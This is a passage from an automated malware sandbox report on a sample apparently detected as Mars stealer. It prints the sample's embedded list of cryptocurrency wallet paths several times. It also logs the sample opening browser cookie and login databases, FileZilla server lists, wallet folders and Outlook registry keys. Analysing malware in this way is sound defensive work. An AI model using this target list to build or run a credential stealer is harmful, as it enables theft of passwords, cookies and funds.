Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5e0.0.exe PID: 7156, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

